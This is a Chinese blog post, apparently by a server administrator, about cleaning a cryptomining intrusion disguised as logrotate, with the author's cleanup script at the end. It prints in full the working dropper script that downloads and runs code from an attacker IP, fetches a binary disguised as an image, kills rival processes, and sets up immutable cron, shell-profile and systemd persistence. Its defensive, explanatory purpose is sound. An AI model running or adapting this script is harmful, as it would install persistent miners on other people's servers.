原因是腾讯发送了告警短信

文件路径为 /root/.config/logrotate 造成的影响为cpu直接100%

发现问题

我发现我的服务器CPU使用率异常高,通过top命令查看发现logrotate进程占用了大量资源。这引起了我的警觉,因为logrotate通常是一个负责日志轮转的工具,不应该有如此高的资源占用。

初步处理

  1. 杀死异常进程:我首先使用kill -9 <pid>命令杀死了logrotate进程,并发现它与/root/.config/logrotate文件有关。为了安全起见,我删除了这个文件。
  2. 检查定时任务:随后,我注意到CPU使用率虽然有所下降,但很快又飙升到100%。经过调查,我发现系统的crontab文件以及/etc/cron.daily/etc/cron.hourly/etc/cron.monthly/etc/cron.weekly目录下都被植入了恶意脚本。这些脚本尝试从http://185.196.8.123/logservice.sh下载并执行。

深入处理

  1. 删除恶意脚本:我首先尝试删除这些恶意脚本,但发现它们被加上了不可修改的属性(i属性)。通过使用chattr -i <文件名> && rm --f <文件名>命令,我成功去除了这些属性,并删除了这些文件。但很快我发现,这些文件又被重新创建了。
  2. 分析恶意脚本:为了了解这些脚本的作用,我通过wgetcurl命令下载了http://185.196.8.123/logservice.sh这个脚本,并查看了它的内容。这个脚本很可能是用于恶意活动的,比如挖矿、数据窃取等。

该脚本的内容

#!/bin/sh
{ pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1
ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'
EXEC="source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)"
trap 'rm -- "$0"' EXIT
if [ -z "${HOME+x}" ]; then
   export HOME=/tmp
fi
mkdir -p "$HOME/.config" >/dev/null 2>&1
[ ! -f "$HOME/.config/logrotate" ] && { 
   ARCH=$(uname -m)
   URL=""
   [ "$ARCH" = "x86_64" ] && URL="http://185.196.8.123/silicon64blueprints.png"
   [ "$ARCH" = "aarch64" ] && URL="http://185.196.8.123/siliconarmblueprints.png"
   [ -z "$URL" ] && URL="http://185.196.8.123/silicon64blueprints.png"
   { wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1
   chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1
}
pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"
add_to_startup() {
   if [ -r "$1" ]; then
       if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then
           echo "$EXEC >/dev/null 2>&1" >> "$1"
       fi
   fi
}
case "$(ps -p $$ -o comm=)" in
   bash) add_to_startup "$HOME/.bashrc"
         add_to_startup "$HOME/.bash_logout" ;;
   zsh) add_to_startup "$HOME/.zshrc" ;;
esac
[ "$(id -u)" -eq 0 ] && {
   RCLOCAL=''
   [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
   [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
   [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
   cat >/etc/systemd/system/logrotate.service <<EOL
[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOL
   sudo systemctl daemon-reload 2>/dev/null
   sudo systemctl enable logrotate.service 2>/dev/null
   [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
   [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
   [ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
   [ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
   [ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
   [ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
   [ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
   [ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
}

这个脚本是一个混合了多种恶意行为的复杂脚本,旨在执行一系列不受欢迎的操作,包括但不限于下载和执行未知脚本、添加自启动项,以及可能的数据收集或资源耗尽攻击。下面我将以博主的身份,详细解释这个脚本的功能和潜在风险。

脚本功能解析

  1. 杀死名为xmrig的进程
    脚本首先尝试使用pkillkill命令来结束所有与xmrig相关的进程。xmrig是一个流行的Monero(XMR)加密货币挖矿工具,这意味着脚本可能试图停止现有的挖矿活动,或者仅仅是清理现场。
  2. 杀死高CPU占用的进程
    接着,脚本使用psawk命令查找CPU占用率超过60%且进程名不是logrotatesshdjava的进程,并杀死它们。这可能是一个资源耗尽攻击的一部分,旨在清除竞争对手或确保系统资源为即将执行的恶意活动腾出空间。
  3. 下载并执行未知脚本
    脚本尝试从http://185.196.8.123/logservice.sh下载并执行一个名为logservice.sh的脚本。这是一个明显的安全风险,因为远程脚本的内容是未知的,可能是恶意的。
  4. 设置自删除机制
    使用trap命令,脚本在退出时删除自身。这是一种常见的隐藏和自我保护机制,用于避免脚本被分析或手动删除。
  5. 设置环境变量和目录
    脚本设置HOME环境变量(如果未设置),并在$HOME/.config目录下创建logrotate文件(如果尚不存在)。这再次是准备执行恶意活动的步骤。
  6. 下载并执行logrotate文件
    脚本根据系统架构(x86_64aarch64)从指定的URL下载图片文件,但将其保存为可执行文件logrotate。这显然是误导性的,因为文件名和实际内容不匹配。然后,它尝试执行这个“logrotate”文件。
  7. 添加到启动项
    脚本检查正在使用的shell(bash或zsh),并将下载和执行logservice.sh的命令添加到用户的shell配置文件中(如.bashrc.bash_logout.zshrc)。这意味着每次用户登录时,恶意脚本都会被执行。
  8. 添加systemd服务
    如果脚本以root用户身份运行,它还会尝试在/etc/systemd/system/目录下创建一个名为logrotate.service的systemd服务文件,并设置该服务在启动时自动运行。这确保了即使系统重启,恶意活动也会继续。

第四步,知道原理后,就简单了,原来我距离成功就差最后一步。首先删除启动项的脚本文件里面的命令,也就是@daily source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)。就三个位置, "$HOME/.bashrc","$HOME/.bash_logout" , "$HOME/.zshrc" ;删除对应的内容,再删除服务就可以了,重复之前的步骤就行了。

总结:

当系统遭遇攻击,资源异常占用成为首要警示信号时,我们需迅速而精准地定位问题源头。一旦发现某个进程异常消耗资源,首要任务是确定是哪个文件或脚本导致了这一行为。通常,这类进程即便被终止也会迅速重启,这往往意味着存在守护进程或定时任务在暗中操作。

若定时任务中的轮询脚本被删除后问题依旧存在,那么很可能系统启动项中也藏有恶意内容。此时,我们应当对系统启动项进行细致排查,包括但不限于用户级别的bash配置文件(如.bashrc.bash_logout.zshrc等)、系统级别的cron jobs(/etc/crontab/etc/cron.d/等),以及系统服务(使用systemctlservice命令管理)。

在清理过程中,务必保持谨慎,确保不会误删系统关键文件或配置。同时,建议利用防病毒/反恶意软件工具对系统进行全面扫描,确保不留任何安全隐患。

最后我将执行的命令脚本贴在下方

#!/bin/bash

# 解除文件的不可修改属性并删除文件
remove_and_chattr() {
    file=$1

    chattr -i "$file" && rm -f "$file"

    # 检查删除是否成功
    if [ $? -eq 0 ]; then
        echo "$file 已成功删除."
    else
        echo "$file 删除失败."
    fi
}

# 删除指定目录中的 logrotate 文件并解除不可修改属性
remove_and_chattr_file() {
    directory=$1

    # 检查目录是否存在
    if [ -d "$directory" ]; then
        for file in $(ls "$directory" | grep '^logrotate$'); do
            remove_and_chattr "$directory/$file"
        done
    else
        echo "目录 $directory 不存在."
    fi
}

# 处理 /etc/cron.daily 目录中的 logrotate 文件
remove_and_chattr_file "/etc/cron.daily"

# 处理 /etc/cron.weekly 目录中的 logrotate 文件
remove_and_chattr_file "/etc/cron.weekly"

# 处理 /etc/cron.monthly 目录中的 logrotate 文件
remove_and_chattr_file "/etc/cron.monthly"

# 处理 /etc/cron.yearly 目录中的 logrotate 文件
remove_and_chattr_file "/etc/cron.hourly"

# 删除 /root/.config 目录下的 logrotate 文件
remove_and_chattr "/root/.config/logrotate"

pkill -f logrotate

# 停止 logrotate 服务并删除相关文件
systemctl stop logrotate.service >/dev/null 2>&1
remove_and_chattr "/etc/systemd/system/logrotate.service"


pkill -f logrotate

# 清除所有写入的定时任务
crontab -r


echo "已停止 logrotate 服务并删除相关文件."

最后的总结,解决步骤为,1.删除启动项内的对应命令 2.调用我贴出来的脚本 即可修复本次入侵。

至于为什么会导致被入侵,博主是因为在当天使用了idea的远程调试,没有关闭,导致被入侵了。

具体内容参考一下:https://forum.butian.net/share/1232


休闲、娱乐、爱生活